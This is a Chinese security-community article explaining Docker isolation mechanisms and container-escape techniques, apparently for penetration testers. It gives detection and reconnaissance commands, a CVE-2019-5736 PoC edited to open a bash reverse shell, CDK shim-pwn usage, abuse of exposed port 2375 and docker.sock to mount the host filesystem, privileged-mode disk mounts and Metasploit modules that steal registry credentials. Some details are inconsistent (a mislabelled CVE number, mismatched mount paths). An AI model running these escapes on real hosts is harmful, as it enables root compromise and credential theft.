docker下安全问题总结-技术圈

作者：DDBG 编辑：白帽子社区运营团队

"白帽子社区端午特别活动“白帽寻宝记”明天（06月12日09：00）就开始啦！！！靶场已经开放活动板块可以进行签到，抽奖请点👉这里👈跳转，BMZCTF靶场地址：www.bmzclub.cn

Docker安全机制

Namespace

每次启动一个容器的时候，都会单独的给予这个容器一个单独的命令空间，因此容器中运行的程序/进程是不会影响到另一个容器的；每个容器的网络也是相互独立的，有需要的话可以通过物理机来实现连通

Namespace让每个容器都变得独立，互不干扰

Control Group

Control Group组件用来规划容器对物理资源（cpu、内存、磁盘等）的使用，防止容器过多的占用资源，影响其他容器或者是物理机的正常运转

Control Group可以有效的防止DOS

Capabilities

Capabilities将 root/非root 分为更细的权限控制，所有需要root权限来执行的命令，都可以利用 Capabilities 来代替，例如一个 Web 服务进程只需要绑定一个低于 1024 的端口的权限，并不需要 root 权限。那么它只需要被授权 net_bind_service Capabilities 就行了。

利用 Capabilities 可以避免进程获取 root 权限，即使攻击者能够获取到容器的root权限，也不能获得宿主机的较高权限。默认情况下，Docker采用白名单机制，禁用必需功能之外的其它权限。当然，用户也可以根据自身需求来为 Docker 容器启用额外的权限。

AppArmor

可以理解为是一个访问控制，AppArmor 将访问控制细化绑定到程序。定义了应用程序可以访问哪些系统资源以及具有哪些权限。例如：可以允许程序进行网络访问，原始套接字访问或者读取写入与路径规则匹配的文件。如果配置文件没有声明，则默认情况下禁止进程对资源的访问。

默认情况下，Docker 会为容器自动生成并加载默认的 AppArmor 配置文件。

Seccomp

一般情况下，系统进程都会暴露给用户。Seccomp可以过滤一些不必要的系统调用，减少了内核暴露给用户态进程的接口数量

默认会启用 Seccomp 保护，默认的白名单规则仅保留了 Linux 中比较常见并且安全的系统调用。防止从内核层面发起的进攻

容器逃逸：攻击者通过攻击控制了一个容器，能在容器中以某个角色权限执行命令。然后再进一步的获取到容器所在的直接宿主机（在“物理机运行虚拟机，虚拟机再运行容器”的场景中，直接宿主机指容器外层的虚拟机）

判断是否为容器

根目录下是否存在 .dockerenv 文件

.dockerenv是所有容器中都会存在这个文件，这个文件曾是LCX用于环境变量加载到容器中，现在容器不再使用LCX所以内容为空，通过这种方式来识别当前环境是否在容器中。

ls -al .dockerenv

/proc/1/cgroup是否存在docker字符串

为了限制容器的资源，Docker为每个容器创建了一个控制组以及一个名为 docker的父控制组，如果某个进程在Docker容器中启动，则该进程将必须在该容器控制中，所以通过查看初始进程的cgroup来验证是否为容器。

cat /proc/1/cgroup | grep docker

运行的系统进程数

容器环境中是无法看到所有的系统进程的，可以根据系统进程数量来判断是否处于docker环境

s aux

缺少系统命令

因为docker镜像一般占用的存储空间不大，所以只会保留运行时需要依赖的库，一些常见的命令是不存在的，我们可以以此来判断是否是Docker环境

ping、sudo、ifconfig、ssh、vi、gcc

find命令查看文件系统存在的差别

在主机和容器中的文件系统中，关于docker的文件、目录有很大差别（主机中有/var、/etc、/sys目录下的文件，可以以此来区别是否为docker环境）

find / -name docker

环境变量的不同

可以查看环境变量的结果来看是否是docker环境，一般来说，主机中的环境变量多，docker中的少

env

文件系统的不同

在主机环境中cgmanager是cgroup的管理器daemon，运行于root下。所以可以根据这个来判断

df -h

容器/主机信息搜集

查看Docker版本

docker --version

当前环境哪些用户？

cat /etc/passwd

容器操作系统？

cat /etc/os-release

宿主机内核版本？

uname -a

容器内进程具有哪些权限（Docker上执行，获得权限值）

grep CapEff /proc/self/status

容器挂载了哪些卷？

cat /proc/mounts

哪些用户可以使用docker？

grep docker /etc/group

当前宿主机可用镜像？

docker images -a

当前运行哪些容器？

docker ps -a

确定为容器后，可以通过以下几个方向进行攻击

宿主机内核漏洞

因为 Docker 与宿主机共用一个内核，所以当内核存在提权等漏洞时，可发生逃逸，如Dirty COW漏洞(CVE-2016-5195)。未及时升级linux内核，也有被攻击利用的风险。

Docker自身漏洞

(1) Docker逃逸漏洞（CVE-2020-5736）

漏洞描述：Docker 18.09.2之前的版本中使用了的 runC 版本小于1.0- rc6，因此允许攻击者重写宿主机上的runc 二进制文件，攻击者可以在宿主机上以root身份执行命令。（通过 docker 和docker-runc 查看当前版本情况）

影响版本：

docker version <=18.09.2、RunC version <=1.0-rc6

利用条件：攻击者可控 image，进一步控制生成的container、攻击者具有某已存在容器的写权限，且可通过docker exec进入
漏洞利用：

下载payload：

https://github.com/Frichetten/CVE-2019-5736-PoC

将其中的16行修改为反弹shell：

var payload = "#!/bin/bash \n bash -i >& /dev/tcp/127.0.0.1/8888 0>& 1"

编译命令

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

将生成的 main 放到容器中并赋予权限 777，实际场景可以wget 或者其余下载方式传入就好。

运行该main文件，出现以下输出即表示ok

root@root:/tmp# ./main[+] Overwritten /bin/sh successfully

新起一个shell来以exec启动docker容器

test@test:~$ sudo docker exec -it d1 /bin/bash

docker内main程序的运行输出：

root@root:/tmp# ./main[+] Overwritten /bin/sh successfully[+] Found the PID: 16[+] Successfully got the file handle[+] Successfully got write handle &{0xc8201231e0}

nc收到root权限的反弹shell

修复方案：升级，修复升级后应重启容器内的服务以确保生效。

(2) Docker cp命令漏洞（CVE-2019-14271）

通过宿主机docker cp容器文件导致任意命令执行的漏洞

影响版本：

docker 19.03.0(包含几个beta版)，19.03.1以上以及18.09以下都不受影响

漏洞利用
```
https://xz.aliyun.com/t/6806
```
修复建议：升级到最新版本或者是打补丁。

(3) Docker逃逸漏洞（CVE-2020-15257）

漏洞描述：containerd是行业标准的容器运行时，可作为Linux和 Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中，容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0，但没有以其他方式限制对抽象 Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器（有效UID为0，但特权降低）导致新进程以提升的特权运行。

影响版本：

containerd < 1.4.3、containerd < 1.3.9

漏洞利用：

漏洞POC：

https://github.com/Xyntax/CDK/releases/tag/0.1.6

选择对应的版本的POC上传到容器中执行POC反弹shell

./cdk_linux_386 run shim-pwn 127.0.0.1 8888

VPS上监听

nc -lvp 8888

修复建议：升级 containerd 至最新版本。通过添加如 deny unix addr=@**的AppArmor策略禁止访问抽象套接字。

(4) CVE-2019-16884 安全机制绕过

漏洞描述：该漏洞源于libcontainer/rootfs_linux.go文件没有正确检查挂载目标。攻击者可利用该漏洞绕过AppArmor限制。
影响版本：
```
runc1.0.0-rc8及之前版本
```

漏洞利用：

https://mp.weixin.qq.com/s/snd1mrEeFheEPB_wrPv8XA

修复建议：升级到最新版本

（5) 此外还有CVE-2016-3697 、CVE-2019-13139、CVE-2018-9862、CVE2018-15664等漏洞

Docker的错误配置&设计缺陷

Docker 未授权访问

在使用docker swarm的时候，会在docker节点上开放2375端口，并绑定在0.0.0.0上，端口中存在Docker Remote API的服务。可以通过 HTTP调用

详细步骤：

访问目标的2375端口探测信息：

http://217.0.0.1:2375/version(ps、/images/json、/containers/json)

在vps上进一步获取信息（vps上需要安装有docker）

获取镜像信息：

docker -H tcp://xx.xx.xx.xx:2375 images

启动一个docker并挂载宿主机根目录：

docker -H tcp://xx.xx.xx.xx:2375 run -it -v /:/mnt docker_ID/bin/sh

然后接可以利用写入crontab，进行反弹shell

Docker.sock

当容器可以访问docker socket时，可以通过与daemon的通信对其进行恶意操纵完成逃逸，容器A能访问docker socket便可在容器中安装 docker client，通过docker.sock与宿主机进行交互，运行并切换至不安全的容器B中控制宿主机。

详细步骤：

在容器中找到docker.sock：

find / -name docker.sock

在容器查看宿主机docker信息：

docker -H unix:///var/run/docker.sock info

运行一个新容器并挂载宿主机根路径：

docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu/bin/bash

在新容器的/test 目录下，就可以访问到宿主机的全部资源，接下来就是写入ssh密钥或者写入计划任务，获取shell

privileged（特权模式）

privileged允许容器内的root拥有外部物理机root权限。执行docker run --privileged时，Docker容器将被允许访问主机上的所有文件，并可以执行mount命令进行挂载。通过mount命令将外部宿主机磁盘设备挂载进容器内部，获取对整个宿主机的文件读写权限，利用写入计划任务等方式在宿主机执行命令。

容器中检测是否为privileged：

cat /proc/self/status | grep CapEff

如果是以特权模式启动的话，输出的值为：

0000003fffffffff

详细步骤：

新建目录以备挂载：

mkdir /test

将/dev/sda1挂载至 /test：

mount /dev/sda1 /abc

访问容器内部的/test就能直接访问整个宿主机目录：

ls /abc

写文件到宿主机：

echo 123 > /test/home/botasky/escape2

Shocker 攻击

调用open_by_handle_at函数对宿主机文件系统进行暴力扫描，以获取宿主机的目标文件内容。存在于 Docker 1.0 之前的绝大多数版本

GitHub项目地址：

https://github.com/gabrtv/shocker

执行：

docker run gabrtv/shocker

工具化测试

查看Docker服务器版本（VERBOSE参数为true获得更多信息）

模块：

auxiliary/scanner/http/docker_version

描述：设置VERBOSE参数为true能够获得更多信息

原理：向Docker Daemon监听的2375端口发起请求。

限制：目标环境的Docker Daemon必须开启端口监听且能够被远程访问。

检测目标环境是否为容器。

模块：

post/linux/gather/checkcontainer

原理：较为简单，即检测/.dockerenv特征文件和cgroup里的特征字符串是否存在等。

限制：获得一个基础shell之后才能使用（后渗透阶段）。

检测目标环境中各种漏洞缓解机制是否开启

模块：

post/linux/gather/enum_protections

描述：检测目标环境中各种漏洞缓解机制是否开启（对于容器环境来说，会影响逃逸成功率），具体检测了漏洞缓解措施是否开启，如 ASLR、kernel.exec-shield、KAISER、SMEP/SMAP；还检测了 LKRG、Grsecurity、PaX、SELinux、Yama等内核安全模块是否安装及开启；另外，还检测了一些常见安全应用等

原理：该模块调用了Metasploit核心模块Msf::Post::Linux::Kernel，核心模块则是通过读取内核通过procfs等伪文件系统在用户态暴露出的参数来判断相关缓解机制是否开启

限制：获得一个基础shell之后才能使用（后渗透阶段）。

对Docker的守护进程实现root权限远程代码执行

模块：

exploit/linux/http/docker_daemon_tcp

描述：利用监听了TCP socket的Docker守护进程实现root权限远程代码执行。

原理：远程给Docker守护进程下达命令拉取镜像，创建新容器，挂载宿主机目录，写入反弹shell的定时任务。

限制：目标环境的Docker Daemon必须开启端口监听且能够被远程访问。

Docker容器内的提权

模块：

exploit/linux/local/docker_daemon_privilege_escalation

描述：这实际上也是一个后渗透阶段的功能。当拿到目标宿主机上的一个普通用户shell时，如果该普通用户能够操作本机上的Docker，就能够借助Docker守护进程提升权限 .

原理：从逻辑上来看，能够操控Docker就意味着具有了root权限，容器内挂载docker socket导致容器逃逸的情况与本模块在原理上是类似的。本模块利用Docker创建新容器，将宿主机上文件系统挂载进去，然后将反弹shell程序添加suid标志位，最后执行反弹shell。

限制：普通用户需要有与Docker守护进程交互的权限。

读取.docker/config.json文件

模块：

post/multi/gather/docker_creds

描述：尝试读取所有用户目录下的.docker/config.json文件，解析获得认证凭据（如镜像仓库的登录凭据）。

原理：读取.docker/config.json文件。

限制：获得一个基础shell之后才能使用（后渗透阶段）。

其他模块，因为适用范围或者限制问题，建议参考模块的文档

auxiliary/gather/saltstack_salt_root_keyexploit/linux/misc/saltstack_salt_unauth_rceexploit/windows/local/docker_credential_wincredexploit/linux/http/rancher_serverexploit/linux/http/dcos_marathon

参考文章

https://forum.90sec.com/t/topic/1338https://chen1sheng.github.io/2021/01/10/%E6%B8%97%E9%80%8F/linux/docker%E9%80%83%E9%80%B8/https://wohin.me/yun-yuan-sheng-huan-jing-shen-tou-xiang-guan-gong-ju-kao-cha/#1-https://tech.meituan.com/2020/03/12/cloud-native-security.htmlhttps://mp.weixin.qq.com/s/d9D3z13uCOJoJzplpu3WJQ

往期精彩内容

“白帽寻宝记”启程！解题抽奖拿奖品邀你一起共度端午！

【题目讲解】hp-RE_hyperthreading

【题目讲解】tzzzez-433MHz+oldmodem

tzzzez-游园会的集章卡片+十二宫的挑衅

技术支持：白帽子社区团队

— 扫码关注我们 —